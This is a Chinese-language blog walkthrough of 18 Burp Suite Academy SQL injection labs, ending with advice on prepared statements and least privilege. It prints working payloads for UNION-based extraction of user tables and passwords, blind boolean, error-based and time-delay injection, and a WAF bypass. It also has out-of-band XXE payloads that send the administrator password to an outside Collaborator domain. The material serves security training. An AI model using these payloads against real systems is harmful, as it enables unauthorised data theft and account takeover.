抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Qingwan

在时间的维度上,一切问题都是有解的。

本文讲了Burpsuite实验室中和SQL注入有关的18个实验的思路以及SQL注入的防御方法

实验

Lab1:检索隐藏数据

当检索参数category时,后台查询语句为:

1
SELECT * FROM products WHERE category = 'Gifts' AND released = 1

随便打开一个类别,看到地址栏的参数,猜测为注入点,如果参数为空,则默认为Gifts

那我们这里的目的就是要进行查询,使其显示所有种类的商品,这里面就包括我们隐藏的商品。后台查询语句中的 released = 1就是隐藏未发布商品的意思,我们需要给这里的参数赋值,使得整个语句为真,进而显示出所有商品。
根据后台查询语句,进行测试

1
2
3
1'
1' --
1' or 1=1 --

or后面的条件 1=1 恒为真,所以无论前面是什么,是否存在,最后都恒为true,都返回全部商品
那为什么 1' and 1=1 -- 不行呢,因为这里的1不存在,所以返回为空,如果是
Lifestyle' and 1=1 --,则会返回所有Lifestyle种类的商品
可以理解为and 1=1,始终为真,所以返回会返回and前面查询的结果

Lab2:干扰应用程序逻辑

一开始提示需要用administrator账户进行登录,打开实验发现是个登录框,需要我们输入用户名和密码

这里存在administrator这个账户,但是我们不知道密码
题目提示我们后台的查询语句是这样的

1
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

那当我们输入的用户名加了注释符之后,把后面的密码部分给注释了,这时我们就不输入密码也可以登录了

1
administrator'--

Lab3:查询Oracle数据库中的信息

union select联合查询&v$version

提示:在 Oracle 数据库上,每个 SELECT 语句都必须指定要选择 FROM 的表(必须是存在的)。如果您的 UNION SELECT 攻击不从表中查询,您仍然需要包含 FROM 关键字,后跟有效的表名称。
Oracle 上有一个名为 Dual 的内置表,您可以使用它来实现此目的。例如:
UNION SELECT 'abc' FROM Dual

我们可以看到是Oracle数据库

进行测试:

1
2
' order by 2--+
' order by 3--+ //报错,证明有两列

然后进行查询,union联合查询要求列数要相同,那这里对于多出来的,我们不需要为什么要用NULL值呢,因为NULL值可以与任何数据类型兼容,可以转换为任何数据类型,所以就可以用来判断列数。这里我们需要查找Oracle数据库的类型很版本信息。在Oracle数据库中,v$version视图是一个系统视图,它包含了数据库的版本信息。v$version视图只有一列,即BANNER列。
BANNER列包含了数据库版本的说明信息,通常会显示数据库的版本号、数据库名称以及其他相关信息。
最终payload:

1
?category=' UNION SELECT BANNER, NULL FROM v$version--

扩展(各数据库查询版本语句):

Oracle SELECT banner FROM v$version SELECT version FROM v$instance
Microsoft SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version

Lab4:查询 MySQL 和 Microsoft数据库中的信息

按照上面的拓展,输入paylaod

1
?category=' UNION SELECT @@version, NULL --+

Lab5:列出非 Oracle 数据库的数据库内容

这一个实验是要检索出所有用户的用户名和密码,然后找到administrator用户的密码然后登录
用于列出数据库中存在的表以及表中的值

Oracle SELECT * FROM all_tables

SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft SELECT * FROM information_schema.tables
`` SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’ `
PostgreSQL SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
测试
1
2
3
4
5
6
7
8
' order by 2--
' order by 3-- //报错,一共有两列
#查所有表(自带的information_schema)
' UNION SELECT table_name, NULL FROM information_schema.tables--
#查询user表中的字段
' UNION+SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users_ijzvku'--
#查询字段对应数据
' UNION SELECT username_dvpxsd,password_ikfgbg FROM users_ijzvku--


然后登录

Lab6:检索 Oracle 数据库的数据库内容

这个实验的要求和上面的实验一样,只是这次是在Oracle数据库中
查询数据库信息

1
' UNION SELECT BANNER, NULL FROM v$version--

发现为Oracle数据库

查询所有表

1
' UNION SELECT table_name,NULL FROM all_tables--

查询user表中的字段

1
' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='USERS_ZZCVKH'--

查询字段的值

1
' UNION SELECT PASSWORD_HTRFEY,USERNAME_QTIRLI FROM USERS_ZZCVKH--+

查询到密码jtc61on6lx0544pmyxhu,然后登录

Labs7:确定查询返回的列数

确定所需的列数

官方介绍了两种方法
第一种是通过 order by 查询

1
2
3
' order by 2--
' order by 3--
' order by 4--

第二种是通过union联合查询

1
2
3
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL ,NULL --
' UNION SELECT NULL,NULL,NULL,NULL --

利用所得到的列数来查询一下数据库版本信息

1
2
3
4
5
6
' union select banner,null,null from v$version--  #报错
' UNION SELECT @@version, NULL,NULL --+ #报错
' UNION SELECT version(), NULL,NULL -- #报错

#换一个回显位
' UNION SELECT NULL, version(), NULL -- #为PostgreSQL数据库

Labs8:查找到包含对应文本的列

查找具有有用数据类型的列

要求要我们检索到字符串wYabaS

1
2
' order by 3--+
' order by 4--+ #报错

列数有3列,然后开始查找拿个字段中存在对应的字符串,探测每一列以测试它是否可以容纳字符串数据。您可以提交一系列UNION SELECT有效负载,将字符串值依次放入每列中。这里有3列,所以我们最多要输入3次

1
2
3
' UNION SELECT 'wYabaS',NULL ,NULL --
' UNION SELECT NULL,'wYabaS' ,NULL -- #查询到对应字段
' UNION SELECT NULL,NULL ,'wYabaS'--

Labs9:从其他表中检索数据

从users表中检索到username和password,然后登录administrator用户

使用 SQL 注入 UNION 攻击检索感兴趣的数据

1
2
3
' order by 2--
' order by 3--
' UNION SELECT username, password FROM users--

Labs10:检索单个列中的多个值

在某些情况下,上一个实验中的查询可能仅返回单个列。
可以通过将值连接在一起来检索该单列中的多个值,可以包含分隔符来区分组合值。
这里的要求和上面一样,但是我们这次要用连接符和分隔符进行操作。
双管道序列||,它是 Oracle 上的字符串连接运算符。这里的分隔符就用~
连接符拓展

Oracle 'foo'|'bar'
Microsoft 'foo'+'bar'
PostgreSQL 'foo'|'bar'
MySQL 'foo' 'bar' [Note the space between the two strings]
CONCAT('foo','bar')
1
2
3
' order by 2--
' order by 3--
' UNION SELECT NULL,username|| '~' || password FROM users--

Labs11:基于条件回显注入的盲注

条件和上个实验一样,但是不同的是没有了回显,是盲注,题目提示注入点为cookie

cookie盲注

cookie 标头:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
TrackingId当处理 包含 cookie 的请求时,应用程序使用 SQL 查询来确定这是否是已知用户:

1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

我们可以利用这里进行SQL注入,但是没有回显,不过还是可以一些特点进行判断
如果查询是正确的,页面会回显:”Welcome back”
比如:传参给cookie的TrackingId

1
2
' and 1=1--  #返回
' and 1=2-- #不返回

即我们就可以根据回显,判断我们后面的条件是否正确,抓包进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#判断是否存在user表,使用 SELECT 'a' 是为了创建一个固定的查询结果,即字符串常量 'a'。而将条件 (SELECT 'a' FROM users LIMIT 1)='a' 用于比较查询结果是否等于 'a',如果条件成立(即返回值不为空,即存在user表)则返回为a,比较成功,返回为真

' AND (SELECT 'a' FROM users LIMIT 1)='a'-- #返回,含有user表

#判断是否存在administrator用户
' AND (SELECT 'a' FROM users WHERE username='administrator')='a'-- #返回,存在


#判断密码位数,这里也可以用爆破
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>4)='a
......
#直到20时,无回显,代表密码是20位
' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>20)='a'--

#判断密码每一位,爆破每一位的值
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--

payload1:

payload2:

然后按顺序排列在一起muyu73xbiyxzrfbw88pd,用密码登录

Labs12:基于条件报错注入的盲注

这题和上面不同的是,无论查询是否有结果都不会有不一样的回显。但是如果查询错误,会根据相应的错误报错。这题也是cookie头注入,burp示例里的报错方法,我之前都没有看到过,因为之前用的都是mysql的报错注入。
官方的示例是这样的:

1
2
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a 
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

这些输入使用CASE关键字来测试条件并根据表达式是否为真返回不同的表达式:

  • 对于第一个输入,CASE表达式的计算结果为'a',这不会导致任何错误。
  • 对于第二个输入,其计算结果为1/0,这会导致被零除错误。

然后我们通过是否报错来判断我们的条件是否正确
一些其他数据库的条件报错的示例:

Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
MySQL SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
这里我们就抓包,然后进行测试
1
2
3
4
5
6
#判断数据库类型
' || (select '') || ' #报错,不为mysql
' || (select '' from dual ) || ' #不报错,为oracle

#判断是否存在user表
'||(SELECT '' FROM users WHERE ROWNUM = 1)||' #不报错,存在user表

这里如果不加 rownum=1 控制返回只有一行的话就会报错。子查询结果返回为多行或者为NULL时,字符串拼接就会报错,所以我们这里要控制他返回为一行。

1
2
3
#判断是否存在administrator用户
'||(SELECT '' FROM users WHERE username='administrator' and rownum=1)||'
#不报错,存在administrator用户

判断密码的位数,如果密码符合我们的条件,则会执行1/0,就会报错,直到不符合条件时,执行else里的内容,正常回显,这里爆破一下,发现为20时正常回显,说明密码不大于20位,则代表密码为20位

1
'||(select case when length(password)>2 then to_char(1/0) else '' end from users where username='administrator') ||'

这里在 1/0 之前必须要加个 to_char。不然就算超过20应该正常回显的时候也会报错

to_char(1/0) 将除以零的异常转换成了一个字符串 'ORA-01476'(在 Oracle 中除以零的错误码),这样就可以避免直接抛出异常,从而不会导致整个语句报错。

爆破密码,Oracle数据库使用substr函数

1
'||(select case when substr(password,1,1)='a'  then to_char(1/0) else '' end from users where username='administrator') ||'

和上一题一样开启爆破

密码为367bgwjiwvsxy3cm6hdl

Labs13:基于可见的错误消息提取数据

这种类型的题目呢就是返回的报错信息里会含有一些我们需要的数据,所以我们就根据返回的报错来获得数据。

Microsoft 微软 SELECT 'foo' WHERE 1 = (SELECT 'secret') > Conversion failed when converting the varchar value 'secret' to data type int.
PostgreSQL SELECT CAST((SELECT password FROM users LIMIT 1) AS int) > invalid input syntax for integer: "secret"
MySQL SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) > XPATH syntax error: '\secret'
测试一下
1
2
'   #报错
" #不报错,为单引号闭合


直接给出了后台查询的语句,以及提醒我们单引号没闭合
爆出用户名

1
' AND 1=CAST((SELECT username FROM users) AS int)--

这个语句正常来说会报错,这段sql语句会将一个 AND 逻辑运算符与一个条件表达式组合在一起,条件表达式使用子查询从 users 表中获取用户名,并将其作为整数类型进行转换。但是,由于用户名通常不是整数,因此转换将失败,并导致整个条件表达式的结果为 false

我们看到这里,他虽然报错了,但是报错的原因是在 SQL 查询中存在一个未终止的字符串字面量。这是由于引号没有闭合导致的,但是我们都注释了他怎么会没有闭合呢。我们看到报错信息里显示的语句都没有把我们输入的语句完整显示出来,代表这里我们输入的可能超出了他的限制,所以我们要把前面多余的没有用的语句删了。


但是又显示他的返回不止一行所以报错,我们之前说到在 Oracle 数据库中我们可以通过 rownum=1来限制他的返回行数为1行

1
' AND 1=CAST((SELECT username FROM users) AS int and rownum=1)--

但是这里字符数超了,而且这里是PostgreSQL,所以我们要用limit 1去限制

1
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--

爆出了用户名

查密码

1
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

得到密码 tjl9qjggrlpfs7xjysff

Labs14:基于时间延迟的盲注

通过时间的相应快慢来判断条件是否正确,比如下面就是各种数据库延迟10秒的语句,这个实验的要求就是让我们延迟10秒钟

Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT SLEEP(10)
然后就依次输入语句进行测试
1
2
' || SLEEP(10) --  #无延迟
' ||pg_sleep(10) -- #有延迟

Labs15:基于时间延迟的SQL注入

要求找到对应用户对应的密码进行登录
从敏感信息中获得数据

Oracle SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'|dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')
测试过程,判断数据库类型,有延迟,为PostgreSQL数据库
1
'||pg_sleep(10) --    

或者用下面这个语句也可以判断,分号用于结束上一个select语句,然后来执行下一条语句

1
';select case when (1=1) then pg_sleep(10) else pg_sleep(0) end --

但是这里注意,由于分号在URL中具有特殊含义(作为参数的分隔符),所以需要对其进行编码,以确保URL的正确解析。
所以url编码一下为:

1
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--

判断administrator用户是否存在,有延迟,存在该用户

1
'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--


判断密码长度,密码长度为20位

1
'%3BSELECT+CASE+WHEN+LENGTH(password)>20+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users+WHERE username='administrator'--

爆破密码,我们爆破的时候可以把延迟时间设置的短一点,不然会很慢,我这里设置的是5s。PostgreSQL中的截取函数用substring()

1
'%3BSELECT+CASE+WHEN+SUBSTRING(password,1,1)='a'+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users+WHERE username='administrator'--

我们将这个选项勾上,我们通过判断接受相应的计数多少来看他的延迟时间,时间越长他的计数相应的也会越多

爆破完成之后,选取计数高的20位开始排序

密码为kddfmbo2sbbrbf0jlkjm

Labs16:基于外带的SQL注入

这里的SQL查询是异步执行的,对应用程序的相应没有影响。所以我们这里就要用到DNS外带技术
Burp在Burp Collaborator模块中,有很多DNS域名
各个数据库的触发条件

Oracle (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:( (XXE) 漏洞触发 DNS 查找。该漏洞已被修补,但存在许多未修补的 Oracle 安装:)

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
The following technique works on fully patched Oracle installations, but requires elevated privileges:(以下技术适用于完全修补的 Oracle 安装,但需要提升的权限:)

SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Microsoft exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
PostgreSQL copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
MySQL The following techniques work on Windows only:(只能在windows上执行)

LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
这个实验要求我们进行一次DNS查找
找到对应模块,copy一个,然后在对应地方进行替换
payload为
1
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://4mrnjhutgi7w2qvyzwpuapr5ewkn8fw4.oastify.com/"> %remote;]>'),'/l') FROM dual--

这个payload里也含有特殊字符如 <, >,所以同理我们也要对他进行编码

1
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http://4mrnjhutgi7w2qvyzwpuapr5ewkn8fw4.oastify.com">+%25remote%3b]>'),'/l')+FROM+dual--

Labs17:带外数据渗出的SQL盲注

我们需要外带出密码进行登录
不同数据库的外带数据方法:

Oracle SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'|(SELECT YOUR-QUERY-HERE)|'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
Microsoft declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
PostgreSQL create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '|p|'.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END; $$ language plpgsql security definer; SELECT f();
MySQL The following technique works on Windows only:
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

payload为:

1
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.0lmjidtpfe6s1muuysoq9lq1dsjj7hv6.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--


密码为:6uh5z7ji1etozubhhlzk

Labs18:通过XML编码绕过过滤器的SQL注入

实验环境有WAF,我们需要通过绕过WAF来查询用户名和密码,成功查询后,查询结果将返回在页面上。
打开实验环境,先随便打开一个商品,然后查看他的库存,同时进行抓包

我们看到这里系统将检查库存特性以XML格式发送

这里我们试着将这里的id(1)替换成其他的,productId之间的表示的是生产地序号,storeId之间的表示库存量
首先我们来查找注入点,在storeId之间分别改为 21+1

发现回显相同,都显示库存量为17,这里系统可以识别我们1+1的逻辑,并为进行过滤,很有可能这里就是注入点
接下来我们测试一下查询语句

1
1 UNION SELECT NULL


不允许查询,这里被绕过了

利用Hackvertor进行模糊查询绕过

在注入XML时,尝试使用XML实体混淆负载。一种方法是使用Hackvertor扩展(这个一个非常强大的插件)。只需突出显示您的输入,右键单击,然后选择:
Extensions > Hackvertor > Encode > dec_entities/hex_entities。

可以直接在 BApp store下载

选择对应的部分,然后在插件里面选择 dec_entities/hex_entities

成功回显

然后我们就可以用union联合查询去查询密码了

1
1 UNION SELECT username || '~' || password FROM users


密码为n81voangbdsgcbfqe0c8

SQL注入的防御

  1. 预编译,也叫做参数化查询,这也是最有效的一种防御方法。
    预编译相当于是将数据与代码分离的方式,把传入的参数绑定为一个变量,用表示,攻击者无法改变SQL的结构,无论攻击者传入什么,都当作字符串处理,而不是处理为SQL关系区的一部分。
    比如下面的语句很容易收到SQL注入攻击

    1
    2
    3
    String query = "SELECT * FROM products WHERE category = '"+ input + "'"; 
    Statement statement = connection.createStatement();
    ResultSet resultSet = statement.executeQuery(query);

    那我们修改下上面的语句变成

    1
    2
    3
    PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
    statement.setString(1, input);
    ResultSet resultSet = statement.executeQuery();
  2. 使用正则表达式对输入进行过滤

  3. 使用最小权限原则,给用户以最小的权限,避免他们执行一些恶意操作

评论